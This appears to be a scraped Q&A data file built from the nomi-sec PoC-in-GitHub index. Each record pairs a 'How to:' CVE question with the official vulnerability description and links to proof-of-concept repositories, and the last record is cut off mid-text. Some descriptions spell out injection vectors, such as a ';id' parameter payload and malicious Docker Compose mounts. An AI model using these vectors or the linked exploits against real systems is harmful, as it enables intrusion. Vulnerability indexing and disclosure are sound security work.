{"id": "gh_3bfd115a498c", "question": "How to: CVE-2025-32711 (2025-06-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAi command injection in M365 Copilot allows an unauthorized attacker to disclose information over a network.\n```\n- [daryllundy/cve-2025-32711](https://github.com/daryllundy/cve-2025-32711)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155707"}
{"id": "gh_927f69ca36d8", "question": "How to: CVE-2025-32756 (2025-05-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stack-based buffer overflow vulnerability [CWE-121] vulnerability in Fortinet FortiCamera 2.1.0 through 2.1.3, FortiCamera 2.0 all versions, FortiCamera 1.1 all versions, FortiMail 7.6.0 through 7.6.2, FortiMail 7.4.0 through 7.4.4, FortiMail 7.2.0 through 7.2.7, FortiMail 7.0.0 through 7.0.8, FortiNDR 7.6.0, FortiNDR 7.4.0 through 7.4.7, FortiNDR 7.2.0 through 7.2.4, FortiNDR 7.0.0 through 7.0.6, FortiRecorder 7.2.0 through 7.2.3, FortiRecorder 7.0.0 through 7.0.5, FortiRecorder 6.4.0 through 6.4.5, FortiVoice 7.2.0, FortiVoice 7.0.0 through 7.0.6, FortiVoice 6.4.0 through 6.4.10 allows a remote unauthenticated attacker to execute arbitrary code or commands via sending HTTP requests with specially crafted hash cookie.\n```\n- [exfil0/CVE-2025-32756-POC](https://github.com/exfil0/CVE-2025-32756-POC)\n- [kn0x0x/CVE-2025-32756-POC](https://github.com/kn0x0x/CVE-2025-32756-POC)\n- [Ashwesker/Ashwesker-CVE-2025-32756](https://github.com/Ashwesker/Ashwesker-CVE-2025-32756)\n- [alm6no5/CVE-2025-32756-POC](https://github.com/alm6no5/CVE-2025-32756-POC)\n- [becrevex/CVE-2025-32756](https://github.com/becrevex/CVE-2025-32756)\n- [shan0ar/cve-2025-32756](https://github.com/shan0ar/cve-2025-32756)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155717"}
{"id": "gh_1b6db907115b", "question": "How to: CVE-2025-32778 (2025-04-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nWeb-Check is an all-in-one OSINT tool for analyzing any website. A command injection vulnerability exists in the screenshot API of the Web Check project (Lissy93/web-check). The issue stems from user-controlled input (url) being passed unsanitized into a shell command using exec(), allowing attackers to execute arbitrary system commands on the underlying host. This could be exploited by sending crafted url parameters to extract files or even establish remote access. The vulnerability has been patched by replacing exec() with execFile(), which avoids using a shell and properly isolates arguments.\n```\n- [00xCanelo/CVE-2025-32778](https://github.com/00xCanelo/CVE-2025-32778)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155722"}
{"id": "gh_e97d628e2c7b", "question": "How to: CVE-2025-32873 (2025-05-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue was discovered in Django 4.2 before 4.2.21, 5.1 before 5.1.9, and 5.2 before 5.2.1. The django.utils.html.strip_tags() function is vulnerable to a potential denial-of-service (slow performance) when processing inputs containing large sequences of incomplete HTML tags. The template filter striptags is also vulnerable, because it is built on top of strip_tags().\n```\n- [Apollo-R3bot/django-vulnerability-CVE-2025-32873](https://github.com/Apollo-R3bot/django-vulnerability-CVE-2025-32873)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155726"}
{"id": "gh_2d16d1833a56", "question": "How to: CVE-2025-32965 (2025-04-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nxrpl.js is a JavaScript/TypeScript API for interacting with the XRP Ledger in Node.js and the browser. Versions 4.2.1, 4.2.2, 4.2.3, and 4.2.4 of xrpl.js were compromised and contained malicious code designed to exfiltrate private keys. Version 2.14.2 is also malicious, though it is less likely to lead to exploitation as it is not compatible with other 2.x versions. Anyone who used one of these versions should stop immediately and rotate any private keys or secrets used with affected systems. Users of xrpl.js should pgrade to version 4.2.5 or 2.14.3 to receive a patch. To secure funds, think carefully about whether any keys may have been compromised by this supply chain attack, and mitigate by sending funds to secure wallets, and/or rotating keys. If any account's master key is potentially compromised, disable the key.\n```\n- [yusufdalbudak/CVE-2025-32965-xrpl-js-poc](https://github.com/yusufdalbudak/CVE-2025-32965-xrpl-js-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155731"}
{"id": "gh_06fc78e6c6e6", "question": "How to: CVE-2025-33053 (2025-06-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nExternal control of file name or path in Internet Shortcut Files allows an unauthorized attacker to execute code over a network.\n```\n- [DevBuiHieu/CVE-2025-33053-Proof-Of-Concept](https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept)\n- [TheTorjanCaptain/CVE-2025-33053-Checker-PoC](https://github.com/TheTorjanCaptain/CVE-2025-33053-Checker-PoC)\n- [kra1t0/CVE-2025-33053-WebDAV-RCE-PoC-and-C2-Concept](https://github.com/kra1t0/CVE-2025-33053-WebDAV-RCE-PoC-and-C2-Concept)\n- [4n4s4zi/CVE-2025-33053_PoC](https://github.com/4n4s4zi/CVE-2025-33053_PoC)\n- [Cyberw1ng/CVE-2025-33053-POC](https://github.com/Cyberw1ng/CVE-2025-33053-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155736"}
{"id": "gh_dcd946d47c75", "question": "How to: CVE-2025-33073 (2025-06-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper access control in Windows SMB allows an authorized attacker to elevate privileges over a network.\n```\n- [sleepasleepzzz/CVE-2025-33073](https://github.com/sleepasleepzzz/CVE-2025-33073)\n- [mverschu/CVE-2025-33073](https://github.com/mverschu/CVE-2025-33073)\n- [obscura-cert/CVE-2025-33073](https://github.com/obscura-cert/CVE-2025-33073)\n- [matejsmycka/CVE-2025-33073-checker](https://github.com/matejsmycka/CVE-2025-33073-checker)\n- [cve-2025-33073/cve-2025-33073](https://github.com/cve-2025-33073/cve-2025-33073)\n- [uziii2208/CVE-2025-33073](https://github.com/uziii2208/CVE-2025-33073)\n- [Ashwesker/Ashwesker-CVE-2025-33073](https://github.com/Ashwesker/Ashwesker-CVE-2025-33073)\n- [Iddygodwin/CVE-2025-33073](https://github.com/Iddygodwin/CVE-2025-33073)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155741"}
{"id": "gh_ffbfa20086cc", "question": "How to: CVE-2025-34028 (2025-04-22)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files that represent install packages that, when expanded by the target server, are vulnerable to path traversal vulnerability that can result in Remote Code Execution via malicious JSP.\\n\\n\\n\\n\\n\\nThis issue affects Command Center Innovation Release: 11.38.0 to 11.38.20. The vulnerability is fixed in 11.38.20 with SP38-CU20-433 and SP38-CU20-436 and also fixed in 11.38.25 with SP38-CU25-434 and SP38-CU25-438.\n```\n- [watchtowrlabs/watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028](https://github.com/watchtowrlabs/watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028)\n- [tinkerlev/commvault-cve2025-34028-check](https://github.com/tinkerlev/commvault-cve2025-34028-check)\n- [becrevex/Commvault-CVE-2025-34028](https://github.com/becrevex/Commvault-CVE-2025-34028)\n- [Mattb709/CVE-2025-34028-PoC-Commvault-RCE](https://github.com/Mattb709/CVE-2025-34028-PoC-Commvault-RCE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155746"}
{"id": "gh_0e5318d0e485", "question": "How to: CVE-2025-34030 (2025-06-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn OS command injection vulnerability exists in sar2html version 3.2.2 and prior via the plot parameter in index.php. The application fails to sanitize user-supplied input before using it in a system-level context. Remote, unauthenticated attackers can inject shell commands by appending them to the plot parameter (e.g., ?plot=;id) in a crafted GET request. The output of the command is displayed in the application's interface after interacting with the host selection UI. Successful exploitation leads to arbitrary command execution on the underlying system. Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-04 UTC.\n```\n- [HackerTyperAbuser/CVE-2025-34030-PoC](https://github.com/HackerTyperAbuser/CVE-2025-34030-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155752"}
{"id": "gh_2438313ebc75", "question": "How to: CVE-2025-34036 (2025-06-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn OS command injection vulnerability exists in white-labeled DVRs manufactured by TVT, affecting a custom HTTP service called \"Cross Web Server\" that listens on TCP ports 81 and 82. The web interface fails to sanitize input in the URI path passed to the language extraction functionality. When the server processes a request to /language/[lang]/index.html, it uses the [lang] input unsafely in a tar extraction command without proper escaping. This allows an unauthenticated remote attacker to inject shell commands and achieve arbitrary command execution as root. Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-06 UTC.\n```\n- [Prabhukiran161/cve-2025-34036](https://github.com/Prabhukiran161/cve-2025-34036)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155759"}
{"id": "gh_63062a9352c4", "question": "How to: CVE-2025-34040 (2025-06-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn arbitrary file upload vulnerability exists in the Zhiyuan OA platform via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server. Exploitation evidence was observed by the Shadowserver Foundation on 2025-02-01 UTC.\n```\n- [jisi-001/CVE-2025-34040Exp](https://github.com/jisi-001/CVE-2025-34040Exp)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155764"}
{"id": "gh_06df5dbe05ae", "question": "How to: CVE-2025-34077 (2025-07-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators. Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.\n```\n- [MrjHaxcore/CVE-2025-34077](https://github.com/MrjHaxcore/CVE-2025-34077)\n- [0xgh057r3c0n/CVE-2025-34077](https://github.com/0xgh057r3c0n/CVE-2025-34077)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155770"}
{"id": "gh_27887ceb96ab", "question": "How to: CVE-2025-34085", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [MrjHaxcore/CVE-2025-34085](https://github.com/MrjHaxcore/CVE-2025-34085)\n- [ill-deed/CVE-2025-34085-Multi-target](https://github.com/ill-deed/CVE-2025-34085-Multi-target)\n- [0xgh057r3c0n/CVE-2025-34085](https://github.com/0xgh057r3c0n/CVE-2025-34085)\n- [yukinime/CVE-2025-34085](https://github.com/yukinime/CVE-2025-34085)\n- [Ashwesker/Ashwesker-CVE-2025-34085](https://github.com/Ashwesker/Ashwesker-CVE-2025-34085)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155775"}
{"id": "gh_8f8ee5ae8515", "question": "How to: CVE-2025-34100 (2025-07-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn unrestricted file upload vulnerability exists in BuilderEngine 3.5.0 via the integration of the elFinder 2.0 file manager and its use of the jQuery File Upload plugin. The plugin fails to properly validate or restrict file types or locations during upload operations, allowing an attacker to upload a malicious .php file and subsequently execute arbitrary PHP code on the server under the context of the web server process. While the root vulnerability lies within the jQuery File Upload component, BuilderEngine’s improper integration and lack of access controls expose this functionality to unauthenticated users, resulting in full remote code execution.\n```\n- [RyanJohnJames/CVE-2025-34100-demo](https://github.com/RyanJohnJames/CVE-2025-34100-demo)\n- [hyeonyeonglee/CVE-2025-34100](https://github.com/hyeonyeonglee/CVE-2025-34100)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155782"}
{"id": "gh_baa1e848c0b4", "question": "How to: CVE-2025-34152 (2025-08-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn unauthenticated OS command injection vulnerability exists in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02) via the 'time' parameter of the '/protocol.csp?' endpoint. The input is processed by the internal date '-s' command without rebooting or disrupting HTTP service. Unlike other injection points, this vector allows remote compromise without triggering visible configuration changes.\n```\n- [Chocapikk/CVE-2025-34152](https://github.com/Chocapikk/CVE-2025-34152)\n- [kh4sh3i/CVE-2025-34152](https://github.com/kh4sh3i/CVE-2025-34152)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155786"}
{"id": "gh_f0d461a33708", "question": "How to: CVE-2025-34157 (2025-08-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCoolify versions prior to v4.0.0-beta.420.6 are vulnerable to a stored cross-site scripting (XSS) attack in the project creation workflow. An authenticated user with low privileges can create a project with a maliciously crafted name containing embedded JavaScript. When an administrator attempts to delete the project or its associated resource, the payload executes in the admin’s browser context. This results in full compromise of the Coolify instance, including theft of API tokens, session cookies, and access to WebSocket-based terminal sessions on managed servers.\n```\n- [Eyodav/CVE-2025-34157](https://github.com/Eyodav/CVE-2025-34157)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155792"}
{"id": "gh_b3c81cc0730e", "question": "How to: CVE-2025-34159 (2025-08-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCoolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application deployment workflow. The platform allows authenticated users, with low-level member privileges, to inject arbitrary Docker Compose directives during project creation. By crafting a malicious service definition that mounts the host root filesystem, an attacker can gain full root access to the underlying server.\n```\n- [Eyodav/CVE-2025-34159](https://github.com/Eyodav/CVE-2025-34159)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155799"}
{"id": "gh_6ec01720a21e", "question": "How to: CVE-2025-34161 (2025-08-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCoolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deployment workflow. The platform allows authenticated users, with low-level member privileges, to inject arbitrary shell commands via the Git Repository field during project creation. By submitting a crafted repository string containing command injection syntax, an attacker can execute arbitrary commands on the underlying host system, resulting in full server compromise.\n```\n- [Eyodav/CVE-2025-34161](https://github.com/Eyodav/CVE-2025-34161)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155804"}
{"id": "gh_462d8654f45d", "question": "How to: CVE-2025-34171 (2026-01-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCasaOS versions up to and including 0.4.15 expose multiple unauthenticated endpoints that allow remote attackers to retrieve sensitive configuration files and system debug information. The /v1/users/image endpoint can be abused with a user-controlled path parameter to access files under /var/lib/casaos/1/, which reveals installed applications and configuration details. Additionally, /v1/sys/debug discloses host operating system, kernel, hardware, and storage information. The endpoints also return distinct error messages, enabling file existence enumeration of arbitrary paths on the underlying host filesystem. This information disclosure can be used for reconnaissance and to facilitate targeted follow-up attacks against services deployed on the host.\n```\n- [Eyodav/CVE-2025-34171](https://github.com/Eyodav/CVE-2025-34171)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155809"}
{"id": "gh_ab745998e504", "question": "How to: CVE-2025-34226 (2025-10-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nOpenPLC Runtime v3 contains an input validation flaw in the /upload-program-action endpoint: the epoch_time field supplied during program uploads is not validated and can be crafted to induce corruption of the programs database. After a successful malformed upload the runtime continues to operate until a restart; on restart the runtime can fail to start because of corrupted database entries, resulting in persistent denial of service requiring complete rebase of the product to recover. This vulnerability was remediated by commit 095ee09.\n```\n- [Eyodav/CVE-2025-34226](https://github.com/Eyodav/CVE-2025-34226)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155814"}
{"id": "gh_a760936dacc8", "question": "How to: CVE-2025-34227 (2025-09-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNagios XI < 2026R1 is vulnerable to an authenticated command injection vulnerability within the MongoDB Database, MySQL Query, MySQL Server, Postgres Server, and Postgres Query wizards. It is possible to inject shell characters into arguments provided to the service and execute arbitrary system commands on the underlying host as the `nagios` user.\n```\n- [mcorybillington/CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard](https://github.com/mcorybillington/CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155818"}
{"id": "gh_9e55defd6d1a", "question": "How to: CVE-2025-34299 (2025-11-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMonsta FTP versions 2.11 and earlier contain a vulnerability that allows unauthenticated arbitrary file uploads. This flaw enables attackers to execute arbitrary code by uploading a specially crafted file from a malicious (S)FTP server.\n```\n- [Ashwesker/Ashwesker-CVE-2025-34299](https://github.com/Ashwesker/Ashwesker-CVE-2025-34299)\n- [Chocapikk/CVE-2025-34299](https://github.com/Chocapikk/CVE-2025-34299)\n- [KrE80r/CVE-2025-34299-lab](https://github.com/KrE80r/CVE-2025-34299-lab)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155823"}
{"id": "gh_93ee68672f82", "question": "How to: CVE-2025-34300 (2025-07-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA template injection vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14 via the  ciwweb.pl http://ciwweb.pl/  Perl web application. Exploitation allows an unauthenticated attacker can execute arbitrary commands.\n```\n- [jisi-001/CVE-2025-34300POC](https://github.com/jisi-001/CVE-2025-34300POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155828"}
{"id": "gh_250553706967", "question": "How to: CVE-2025-34322 (2025-11-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNagios Log Server versions prior to 2026R1.0.1 contain an authenticated command injection vulnerability in the experimental 'Natural Language Queries' feature. When this feature is configured, certain user-controlled settings—including model selection and connection parameters—are read from the global configuration and concatenated into a shell command that is executed via shell_exec() without proper input handling or command-line argument sanitation. An authenticated user with access to the 'Global Settings' page can supply crafted values in these fields to inject additional shell commands, resulting in arbitrary command execution as the 'www-data' user and compromise of the Log Server host.\n```\n- [mcorybillington/CVE-2025-34322_CVE-2025-34323_Nagios_Log_Server](https://github.com/mcorybillington/CVE-2025-34322_CVE-2025-34323_Nagios_Log_Server)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155834"}
{"id": "gh_39c6404ebba8", "question": "How to: CVE-2025-34462", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [NSM-Barii/CVE-2025-34462](https://github.com/NSM-Barii/CVE-2025-34462)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155838"}
{"id": "gh_6529c013e5a4", "question": "How to: CVE-2025-36041 (2025-06-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIBM MQ Operator LTS 2.0.0 through 2.0.29, MQ Operator CD 3.0.0, 3.0.1, 3.1.0 through 3.1.3, 3.3.0, 3.4.0, 3.4.1, 3.5.0, 3.5.1 through 3.5.3, and MQ Operator SC2 3.2.0 through 3.2.12 Native HA CRR could be configured with a private key and chain other than the intended key which could disclose sensitive information or allow the attacker to perform unauthorized actions.\n```\n- [byteReaper77/CVE-2025-36041](https://github.com/byteReaper77/CVE-2025-36041)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155842"}
{"id": "gh_88fa7481fc9a", "question": "How to: CVE-2025-36250 (2025-11-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIBM AIX 7.2, and 7.3 and IBM VIOS 3.1, and 4.1 NIM server (formerly known as NIM master) service (nimesis) could allow a remote attacker to execute arbitrary commands due to improper process controls.  This addresses additional attack vectors for a vulnerability that was previously addressed in CVE-2024-56346.\n```\n- [Ashwesker/Ashwesker-CVE-2025-36250](https://github.com/Ashwesker/Ashwesker-CVE-2025-36250)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155847"}
{"id": "gh_1a8635a6c0b4", "question": "How to: CVE-2025-36604 (2025-08-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nDell Unity, version(s) 5.5 and prior, contain(s) an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to arbitrary command execution.\n```\n- [watchtowrlabs/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604](https://github.com/watchtowrlabs/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155853"}
{"id": "gh_1d9df1011065", "question": "How to: CVE-2025-36911 (2026-01-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn key-based pairing, there is a possible ID due to a logic error in the code. This could lead to remote (proximal/adjacent) information disclosure of user's conversations and location with no additional execution privileges needed. User interaction is not needed for exploitation.\n```\n- [Cedric-Martz/CVE-2025-36911_scan](https://github.com/Cedric-Martz/CVE-2025-36911_scan)\n- [zalexdev/whisper-pair-app](https://github.com/zalexdev/whisper-pair-app)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155858"}
{"id": "gh_4b05d82ab74f", "question": "How to: CVE-2025-37164 (2025-12-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA remote code execution issue exists in HPE OneView.\n```\n- [rxerium/CVE-2025-37164](https://github.com/rxerium/CVE-2025-37164)\n- [g0vguy/CVE-2025-37164-PoC](https://github.com/g0vguy/CVE-2025-37164-PoC)\n- [LACHHAB-Anas/Exploit_CVE-2025-37164](https://github.com/LACHHAB-Anas/Exploit_CVE-2025-37164)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155862"}
{"id": "gh_f17f2df0ece9", "question": "How to: CVE-2025-37899 (2025-05-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\nksmbd: fix use-after-free in session logoff\\n\\nThe sess->user object can currently be in use by another thread, for\\nexample if another connection has sent a session setup request to\\nbind to the session being free'd. The handler for that connection could\\nbe in the smb2_sess_setup function which makes use of sess->user.\n```\n- [SeanHeelan/o3_finds_cve-2025-37899](https://github.com/SeanHeelan/o3_finds_cve-2025-37899)\n- [vett3x/SMB-LINUX-CVE-2025-37899](https://github.com/vett3x/SMB-LINUX-CVE-2025-37899)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.155867"}
{"id": "gh_b5678b7ae412", "question": "How to: CVE-2025-38001 (2025-06-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the Linux kernel, the following vulnerability has been resolved:\\n\\nnet_sched: hfsc: Address reentrant enqueue adding class to eltree twice\\n\\nSavino says:\\n    \"We are writing to report that this recent patch\\n    (141d34391abbb315d68556b7c67ad97885407547) [1]\\n    can be bypassed, and a UAF can still occur when HFSC is utilized with\\n    NETEM.\\n\\n    The patch only checks the cl->cl_nactive field to determine whether\\n    it is the first insertion or not [2], but this field is only\\n    incremented by init_vf [3].\\n\\n    By using HFSC_RSC (which uses init_ed) [4], it is possible to bypass the\\n    check and insert the class twice in the eltree.\\n    Under normal conditions, this would lead to an infinite loop in\\n    hfsc_dequeue for the reasons we already explained in this report [5].\\n\\n    However, if TBF is added as root qdisc and it is configured with a\\n    very low rate,\\n    it can be utilized to prevent packets from being dequeued.\\n    This 